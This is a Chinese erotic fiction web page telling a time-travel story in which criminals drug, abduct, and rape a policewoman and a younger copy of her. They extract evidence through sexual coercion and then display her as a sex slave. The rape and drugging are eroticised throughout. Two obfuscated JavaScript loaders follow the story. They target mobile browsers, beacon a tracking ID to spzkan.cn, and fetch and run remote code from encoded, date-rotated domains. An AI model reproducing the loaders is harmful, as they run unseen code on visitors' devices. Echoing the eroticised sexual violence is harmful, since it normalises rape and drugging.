图片载入中

麻烦的任务

特大字】 【大字】 【中字】 【小字

(上)

“老板,这个任务很麻烦……”

“不麻烦怎么会有这么多钱?好好想办法,时间太紧了。”

“明天傍晚的飞机,难道要我们现在冲进刑警队抓人???有钱赚也得有命花,再说我们又不是黑社会暴力团伙。”

“这任务最麻烦的就是时间实在太TMD紧了,满打满算也就20多小时……不过,也许我想到办法了……钱总有能花出去的方法啊……”

2 小时后,时空管理局的夜间值班室里,一个肥胖的技术官员偷偷用手机看了下自己的银行帐户,在一份临时加急的时空科学考察申请上敲上了红色的章。 *** *** *** ***

林姿柔心里总觉得有一种不安的感觉挥之不去,心里始终像是有个莫名的声音在劝告——或者应该叫诱导——自己做一些没有理由的事情。

作为警队里最出色的女警,她带队来B 城是搜集调查一宗毒品案的证据的,进展也算顺利,虽然找到的线索还不够让她找到最终的目标,却也能算不虚此行。 只是从今天早上开始,自己就开始做一些莫名的事,比如突然间找了个借口独自离开队伍,还悄悄另外找了个宾馆住下。

她把这一切归结于女性的直觉:“也许同事里有人被金钱迷了眼,把重要的线索被漏过了?所以自己的直觉引导着自己来找到这个缺失的部分?”

只是独坐在宾馆里想了好半天了,把资讯和之前的行动来回推算,也没想出任何头绪来啊……

中午随意的下楼吃了个午饭,宾馆的餐厅空调居然坏了,热出了一声汗。草草吃完回到房间的时候,忍不住想要先洗个澡放松下:“实在想不出哪里有问题啊,不行的话,下午回去和他们会合吧。”

站在浴室里,用水流冲洗着细腻的身体,手指无意中碰到了胸前的蓓蕾,嗯……好奇怪的感觉啊。还是处女的身体,之前从未有过这样的感觉。

身体……好奇怪……

高挑却又不失曲线的身体在浴室的灯光下如玉石般洁白滑腻,只是手指抚过的地方却传出丝丝的热力,双手不由自主的攀向挺拔的胸部,淡红色的蓓蕾迅速的随着手指的拨弄而开始充血,骄傲的突起在空气中。

美女刑警虽然因为工作关系也能算见多识广,但对于情事还是青涩的很。胸口一阵阵的酥麻带动着身体也在微微的颤抖,这感觉让人好奇怪,却又舍不得放弃。热水继续从头顶的莲蓬中温柔的喷洒出来,身体的颤抖却越来越加剧,双腿不由自主的开始夹紧,大腿根部却似乎多了些软腻的液体。

粘粘的,好难受……

一手留恋在峰峦上,另一只手下意识的滑向了股间,温热黏稠的密境高兴的欢迎着青葱般的手指,让它再不肯离去,身体从原本微微的颤抖变成了振动,双唇也不由自主的打开着,发出了甜腻的呻吟。

*** *** *** ***

“豹子,别,快停下……”

“不,老子忍不住了,呃——嗯”

“呵呵,真没用,过一会换我来”

被叫做豹子的男子嘿嘿的笑着,拿起一罐啤酒,“其实也没关系吧,虎哥。” 虎哥看着萤幕,“恩,效果比想像中的好啊,本来我还担心时间不够呢” *** *** *** ***

突然间而来的快感让林姿柔感到一阵瘫软,顺着墙滑坐到地上,呆坐了好一会才回过神来。自己这是怎么了?虽然已经27岁,也曾经有过男友,但是一心在工作上的美女却并没有性经验,甚至从未自慰过,今天却莫名其妙的接触到了禁忌的欢愉。无奈的摇摇头,冷却下来的身体似乎比之前工作时几天几夜没睡还累。

于是,也无心在继续洗澡了,用毛巾擦干了身体,换上睡衣便躺在了床上。 睡个午觉,也好。

没多久似乎就进入了睡眠,只是做了个不好的梦。

在梦里,自己被绑在了床上,浑身一丝不挂。身边有一个男人,也许是两个,正在自己的身体上肆意轻薄,无论是挺立的双峰还是幽深的溪谷,都是完全不设防的向面目模煳的男子开放着。自己似乎完全没有抗拒的意思,配合着扭动身体,迎合男人的玩弄,双唇间还发出让自己都觉得脸红心跳的娇喘。过一会,有男人俯下身凑近,而自己居然像个荡妇一般仰首送上热吻,唇舌相接地表达着自己的欲求。甚至,当男人粗鲁的拧动自己乳头的时候,自己的感觉不是痛楚,而是兴奋。很快,自己双腿间就已经泥泞不堪了,有手指在随意的玩弄着敏感的肉芽,但是远远不够,自己惊讶的发现自己的嘴里发出了无法想像的哀求:“求求你们,不要再折磨我了,快给我吧”。

梦境中,一个模煳的男子凑近自己的耳边,轻声说:“想要爽吗?”然后便舔起了耳垂,让自己发出了淫荡的呻吟:“要,给我。”

男子接下来依然是轻声的耳语,却如同惊雷一般把林姿柔从梦中惊醒:“那就马上来楼上吧,我们会让你爽翻天的。”

身上全是汗水,双手分别在胸前和蜜处,保持着淫糜的自慰姿势,头脑却已经清醒过来。似乎,不是简单的做梦。

这到底是怎么回事?上楼,还是不上?

*** *** *** ***

“虎哥,干嘛要这么做?这是我们的地盘,直接下去绑了她不就行了?” “时间太紧了,这是最好的测试。这就叫里程碑,这个里程碑测试通过了,就能真正确认任务进度已经是50% 了。”

“里程碑?啥意思”

“所以我才能当专案经理……你看,那女的开始换衣服了,看来打算上来了!开始准备下一步吧。”

*** *** *** ***

唔……睡的好好的,怎么突然一疼?林姿柔想睁开眼睛看看,却发现自己并不是睡在宿舍里,她连忙惊慌的想坐起来,却发现手脚动不了。低头看去,自己居然是被手脚分开大字型的绑在一张大床上。

脑袋里轰的一声,“我被坏人绑架了?”,没来得及想坏人是怎么进的宿舍又是怎么把自己运出去的,下意识的便张口喊到“救命啊”,却看见一个穿着西装却一声匪气的平头男子走来把一团布料塞进了自己的嘴巴,还对着自己咧嘴一笑:“呵呵,醒了?”

一时间还顾不上害怕,林姿柔转头打量起房间,看着像是个有点档次的宾馆的房间。正对着床尾本该是电视机的位置空着,而是架着一堆不知名的设备,另一个穿着西装的男子背对自己坐着,摆弄着设备。身边的那个平头男子也不再管自己,走了过去,似乎在帮忙的样子。

自己一个穷学生,家里也不是什么有钱人,似乎不应该是绑架,也许是遇到色魔才对?可是虽然没遇到过真的色魔,但18岁的少女也不至于懵懂到完全一无所知,色魔似乎也不是现在这个样子啊?虽然身上仅仅是穿了睡衣,但是好像并没有什么异样的感觉啊。被绑着的少女无人搭理,一时间疑惑似乎还占了恐惧的上风。

“好了,开始干活吧”,另一个男子似乎才是主犯,只是转过身后看起来并不像刚才那个平头的男子那么像坏人,至少西服穿在身上和本人的气质还能算贴合,目光多少有点偏执与呆滞,脸色稍稍有点熬夜的憔悴,“看起来好像古代言情小说里提到的苦逼IT男?”

只是没等女孩开始更多的联想,平头男子便拿了一把刀过来比划了两下:“接下来,你死定了……不对……接下来你……虎哥,你来说吧”

那个被称作虎哥的男子无奈的摇摇头,温柔的俯身下来:“小姑娘,别怕,只要你听话,乖乖的配合,我们很快就会放你回去。如果不听话呢,可能会被暴打,强奸,折断手脚,毁容……总之听话一切都好说,不听话呢,一切都会发生。你明白了吗?”

林姿柔吓得脸色煞白,连忙点头。虎哥微笑着点点头,转身说:“黑豹,走吧。”

接下来的事情让林姿柔怀疑这两个西装男子也许是外星人假扮的?目的是研究地球人?

他们给她带上了奇怪的类似摩托车头盔的东西,然后连上仪器折腾着什么。 一会那个叫做黑豹的平头男子给她打了一针,而虎哥则跟她保证这只是让她觉得浑身无力不至于惹麻烦,并没有什么其他的坏处。然后她就被解下头盔蒙上眼由黑豹抱出了房间,随后又绑在了另一张窄小的床上,最后床动了,解下蒙眼的黑布,她才发现自己应该是在一辆改装过的大巴车上。奇怪的头盔又被带上了,嘴里塞着的东西也被取出来,虎哥时不时递来一张纸,要求她大声的念,纸上的内容很简单,比如:“我不想坐飞机”,“我想一个人去找线索”,很奇怪的要求,但是除了要求她一遍遍念到声嘶力竭之外,似乎并没有别的损害,所以林姿柔乖巧的一切照做。而且时不时的,虎哥会拿来矿泉水让她润润嗓子,然后休息几分钟再继续。

不知道过了多久,自己又被送回了原先的房间,似乎实验结束了?林姿柔大着胆子问:“可以放我走了吗?”想了想又加了句:“我不会报警,也不会告诉任何人的。”

虎哥和黑豹一起笑了起来,笑声中似乎有点不好的味道:“放你走?你知道去哪里吗?”“回学校啊,我明天还要上课的。”

虎哥慢慢的走到她身边,用手指托起了少女的下巴,露出了男人特有的笑容:“急什么,还有好多事没做呢。”原本放松的心情一下子又紧绷了起来,“你们不是说过会放我回去的吗?”

男人的手指慢慢往下,伸向印着卡通图案的红色睡衣的领口:“是啊,我答应过一定会放你回去的,只是,你的任务还没完成呢。”手掌突然粗鲁的抓向尚未发育完全的胸部,不算大,但是足够坚挺滑腻,称得上盈盈一握。紧接着,娇小的乳头便被手指搓揉着,逐渐开始肿胀。

林姿柔觉得惊慌失措,不仅仅是因为自己即将遭到的侵犯,同时还有身体里的阵阵异样感觉。她不知道,刚才喝的矿泉水里,早就被掺了足量慢性的春药,而现在,药性发作的时间到了。突然间睡衣的下摆也被一旁的黑豹撩起,粗鲁的举动并没有激起反抗——事实上,也没有任何反抗成功的可能——内裤立刻被大力的撕破,从未露于人前的娇嫩肉缝羞耻的暴露在空气里。“不要看”与其说是抗议,配上迷离的眼神后却如同诱惑一般,被指尖搓揉的突起已经饱满坚硬,被粗糙的舔弄的蜜穴也开始流出淫糜的液体。“不要这样”,少女无助的哀鸣,却意料之中的被无视了。

很快,之前潜伏于体内的药力被完全的激发,双颊变成了娇媚的粉红色,双唇除了喘息就是压抑不住的呻吟,至于双腿之间,则早就是一片泥泞。身体的宫能被最大程度的激发,未经人事的少女很快就迎来了人生中第一次顶峰。

如天堂般快乐,其实却是地狱的大门。

“时间有限,黑豹你给她开苞。”

“虎哥,要不还是你先上吧。”

“少跟我客气,我还要准备下一步的工作。”

“呵呵,那就多谢老大了。”

“叫我经理,我们不是黑社会……”

(下)

南迪接到电话的时候,深深的舒了一口气,而等他赶到宾馆的时候,终于得到了一个让他稍稍放心的答复。他擦了擦额头上的汗,便想进房间,一旁的男子还在做最后的提醒:“南总,您想问的事情我们不方便旁听,所以就靠您自己了,只有一次机会,请千万小心些……”

南迪挥挥手示意对方放心,便跨进房门,眼前的景色足以让任何一个男人血脉喷张,但南迪的心里却只有紧张。作为当地最大的毒品走私头目,他知道自己也许难免有一天会死的很惨,不过,这一天肯定是越晚越好。他本以为在B城本地有着足够的势力与保护伞便可高枕无忧,却没想到因为千里之外K城的案子牵扯,被异地调来的刑警队差点顺藤摸瓜。唯一值得庆幸的是,对方虽然找到了足以给他惹上大麻烦的证据,自己也及时得到了消息,并及时找到了这个奇妙的疑难交易处理公司。

房间里并排紧靠着的两张床上分别绑着一个赤裸的美女,看起来如同姐妹花。虽然,实际上并不是。按照全权负责这个专案的虎经理的说法,两个美女都已经被涂过足够强烈的春药,并给予了足够的刺激,即使以刑警的意志力,也不能阻止自己唯一能活动的腰肢在哀羞的扭动。房间里回荡着淫媚的呻吟声,却只是从年轻女孩一个人的嘴里发出的,与涨红脸蛋却还咬紧牙关硬撑的美女刑警不同,未经风浪的少女早就在淫威下屈服,先后学会了哭泣,哀求,与顺从。

不过,如果视线再往上看,就能看到与这淫糜画面并不和谐的一幕。两女额体相映,形成一幅相当诡异的画面。

林姿柔也不明白自己头上的导线是干吗用的,但是身上被涂满了春药的事实,使她把这些理解为另一种催情的手段罢了。事实上,她全部的意志已经都用于对抗肉体的欲念,而无暇想更多了。尤其是当那个新进入房间的男人拿起了两根丑陋的电动阳具爬上床来的时候,她更是把自己嘴唇咬出了血迹。

南迪觉得额头上又开始冒汗,他早就不是什么纯情的少男了,经手玩过的女明星女主持之类的都不在少数,但是今天却不是为了性欲——眼前两个足以让男人流鼻血的赤裸躯体甚至都没让他勃起。时间不多了,必须在6 点的飞机前搞定啊。他深唿吸了一口气,紧张的把两个电动阳具,凑上了同样泥泞不堪的两个蜜穴。

两具身体几乎毫无差别的开始颤抖,美女刑警也忍不住发出了耻辱的娇叫声,但是南迪似乎不忍心这么破坏她的处女,而是用开始转动的器具,碾磨着她洞口的肉豆。而另一侧的少女则没受到这么温柔的待遇,粗大的棒状物毫无阻碍的深入了她的私密,强横的转动着,侵略着这个不久前还是无人到达过的禁区。被好好调教过的少女毫无反抗之力,性欲从全身各处浮现,最后汇聚到私密处涌出的股股蜜汁。

只是南迪似乎并不想让她一个人这么快的高潮,而是选择了抽出她的电动阳具,开始转而专心的玩弄起一旁还在负隅顽抗的美女刑警。饱受训练的女刑警的意志非是一般人好比,但是意志能确保的也只是头脑还没有迷失,肉体的颤动早就开始隐隐迎合着电动阳具对阴核的碾揉,紧闭的双唇也时不时露出苦闷的呻吟。 似乎是时候了。

南迪出人意料的用力把电动棒深深的塞进了处女的肉穴,早就被淫水润滑的肉壁没有任何阻挡的效果,象征的清白的处女膜,在男人的大力下也无法坚守。“啊……”出人意料的疼痛让女刑警禁不住惨叫,却又立刻坚强的咬上嘴唇,早就意料到今天可能要被强奸了,只是没想到处女之身竟然给了一截没有生命的塑料,林姿柔忍不住有了一丝的惘然,也不知道这是值得庆幸呢,还是悲哀? 身边的少女继续响起了羞耻的浪叫,南迪开始双手控制着在两个蜜穴里同时进行着大力的抽插。还没从失贞的震惊情绪中恢复过来的女刑警的肉体,在失去了意志的压制下,迅速的攀向情欲的巅峰。

林姿柔眼泪喷涌而出,刚刚被破处不就就到高潮的事实让她无比的屈辱,但就在她即将高潮前的一瞬间,耳边突然响起了大声的质问:“证据在谁的行李里?” 事实上,两具肉体几乎是同时到达的高潮,房间里回荡着女子们羞耻而无奈的淫浪呻吟。但是残存的最后一丝意志还是让她最终把握住了自己,她虽然觉得心神一松,却并没有说出对方想要的答案,一种胜利的喜欢似乎迅速压倒了被奸淫的屈辱,林姿柔忍不住露出的讽刺的笑容。

但是嘲笑对方的话语还在嘴边,临床的女孩却发出了带着高潮余韵的腻声:“证据统一存放在林副队长的棕色行李箱里。”

瞬间的冲击让她几乎崩溃,她对着身边的女孩狂吼:“你怎么知道的,你是谁?”

心头放下一块大石的南迪拿起了电话走出了房间,留下了一句:“她就是你啊。”

*** *** *** ***

“虎经理,这次真是全亏了你啊。我如果不能借助本地机场的关系搞定,错过了时间,麻烦就大了”

“说实话,我也是行险一试。把她的年轻副本从过去穿越过来,肯定可以和她本人形成脑部共鸣,但是要不是您功力深厚,控制她们同时到达高潮,让脑部共振达到极限,只怕我也完不成任务啊。好了,这个项目基本就算完成了,还剩些收尾的事情要和您说下啊。”

“我的心事已了,要是费用超出了预算,您尽管说。”

“回到以前去把她绑架穿越到这个时空形成副本的成本是很贵,但是倒也没超出预算。离把她还回去的时间还有差不多大半天,您倒是可以好好享受下这难得的双飞,她们的共鸣起码比双胞胎姐妹花还要强几倍,实在是很难得的啊。” “呵呵,那我就不客气了。不过,这样还回去了,她不就应该不是处女了吗?怎么刚才我给那个贱货刑警开苞的时候,她还是处女?”

“呵呵,她是被绑架后定点穿越回来,但是实际上穿越过来的只是一个副本,长得一样,有同样的思维和记忆,但是实际上并不是本人,智力和意志力之类都会减弱,所以才能在几个小时内就能调教的这么好。而花掉的巨额费用,实际上是支付用能量塑造肉体的成本,她本人的肉体,还是留在那个时空并没有过来,所以那个时空的她,仍然会是处女。并且,如果在24小时内再定点还回去的话,控制的好的话,在那个时空可能只过了几秒钟,她本人并不会察觉,但是副本和本体刚分离的一段时间,多少可能还是有点隐约的共鸣联系,我个人觉得,说不定这就是她后来毕业后选择刑警的原因,潜意识里,要让自己变强,避免被绑架啊。”

*** *** *** ***

林姿柔如同母狗般趴跪着,臀部高高翘起,露出私密的蜜穴,男人的手指不紧不慢的在其中搅动,带动起粘稠的淫液。美女刑警并没有被束缚住,却不敢做任何反抗。当这两个林姿柔明白了事情的真相后,都如同坠入黑暗深渊般放弃了挣扎。年轻的自己哭泣着哀求能赶快回去,甚至在男人的无耻恶念下开始哀求长大后的自己,只要能一起“侍奉”眼前的男人满意,她就能被送回哪个时空,而已经失身又失职的自己,怎么都无所谓了。

只是没想到,两个人的身体会有这么的共鸣,给两个其实都是初经人事的女子,带来了无尽的羞耻。男子随便玩弄其中一人的胸前雪乳,就能看到另一人的蓓蕾也会充血肿胀,快感如同翻倍办上升,让自己的表现似乎比用了春药还要下贱。像现在,明明自己是如同母狗般趴跪着,却能准确无误的感觉到,背后那年轻时的自己,正跨坐在男子的火热分身上,努力的套弄,男子一手玩弄着“她”的胸前还未完全发育开的鸽乳,一手挑弄着自己的私密,自己却如同发情般浑身燥热。胸前红豆高高突出在空气中,渴望着被人粗鲁的亵玩,而蜜穴更是不堪的不停收缩,企图夹紧那轻探的手指,以求获得更充实的快感。

好想要,好想可以像“她”一样被男人大力的蹂躏……

也许,是我的表现不如她淫荡,所以不够讨男人的欢心?女子的头脑几乎完全被肉欲支配,忍不住发出了下贱的哀求:“求你,也爱我一下。”

男人只是觉得被穿越来的“副本”很快就要归还了,所以才把主要精力放在了以后难以品尝的鲜嫩美味身上。但是身前传来的哀求声确是意外之喜了,虽然用词不能让他满意,但是却让他觉得性致高涨了不少。手指索性停止了蜻蜓点水般的玩弄,戏嚯的问:“要我怎么爱你啊?说清楚点。”

林姿柔被羞耻和欲念反复的折磨,最后还是抛开了自尊:“操我,求求你,我好难受。”说出淫荡的话语后的羞耻感,却让肉洞更加的瘙痒,淫水流到了大腿上,她悲哀的想:“难道我真的是个淫贱的女人?”

可惜的是,男人最享受的就是这种肉体和精神上的双重调教。他伸手用力拍打还骑在自己身上的年轻肉体的雪臀,示意她继续尽力扭动,然后继续用言语折磨着美女刑警:“虽然你们其实是同1 个人,但是她可比你年轻的多,下面的小浪穴操起来水又多夹的又紧,操你有什么好的?”

美女刑警闭上双眼,流出羞耻的泪水,但是双唇间说出的却是连自己都听的脸红心跳的淫贱:“求求你操我,我,我的,小,浪穴也,还很紧,也,也有好多,水……”

这一刻,她真的觉得自己连母狗都不如。但是当火热的肉棒插入她饥渴的密处时,她还是发出了欢愉的浪叫。

*** *** *** ***

一个月后,B城某个因涉嫌出售毒品而被查封的夜总会重新开张了。二楼的贵宾室里,三个男人坐着聊天。

“南总,这夜总会原来是你的产业啊。”

“呵呵,小生意。两位有空多来捧场,一切免单。上次的事多亏两位啊,不过话说回来,那次3P可真是爽啊。”

“南总,说句玩笑话,爽是肯定爽的,可是价格可也不是一般的价格啊。把人从以前绑架过来的成本,够玩上几百对姐妹花了吧?”

“没事,钱财身外事。再说既然是我们的林警花惹的事,现在当了性奴给我慢慢挣钱,也能还上啊。”

“南总,您这帐没算清楚吧。美女刑警再值钱,一晚上能挣多少?怎么也抵不上当初买通时空管理局的那笔钱啊。”

“虎经理,恕我以老卖老说上一句,您的眼光,现在也就只能当个项目经理,眼界还是窄了点。我让那母狗刑警当婊子,当然赚不回这么多钱。但是这可是真正的刑警调教成的性奴,喜欢这一口的领导可不少,她当我的公关道具,以后替我赚到的好处,最后加起来可未必就比当初那笔钱少了。”

“冲您这句教诲,来,我敬你一杯。”

觥筹交错间,楼下舞台上只着轻纱的妖艳女主持娇声宣布:“今晚为了庆祝夜总会重新开张,所准备的最特色的节目马上开始……”灯光下,一头几乎全裸的美女犬含泪爬上了舞台,随着四肢的爬动,颈间狗项圈下的铃铛与胸前乳头上夹着的乳铃发出清脆而淫糜的铃音。主持人伸手拿出一根皮鞭,在雪白的臀瓣上抽出淡淡的红印,“来,做个自我介绍。”

美女犬带着化妆舞会常用的眼罩,让人无法一睹真容,却更增添了几分神秘美感,观众们看着她屈膝蹲着,慢慢的分开双腿,露出被剃光阴毛的私处,满脸羞红发出苦涩颤抖的声音:“我,是主人,新饲养的母狗,柔奴,我是,下贱的,性奴,为了取悦主人,来这里,进行,肉体表演。请,大家欣赏我,被调教,和被玩弄的演出……”


上一篇:疯狂姐姐教弟弟作爱

下一篇:我与惠虹堂姐


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};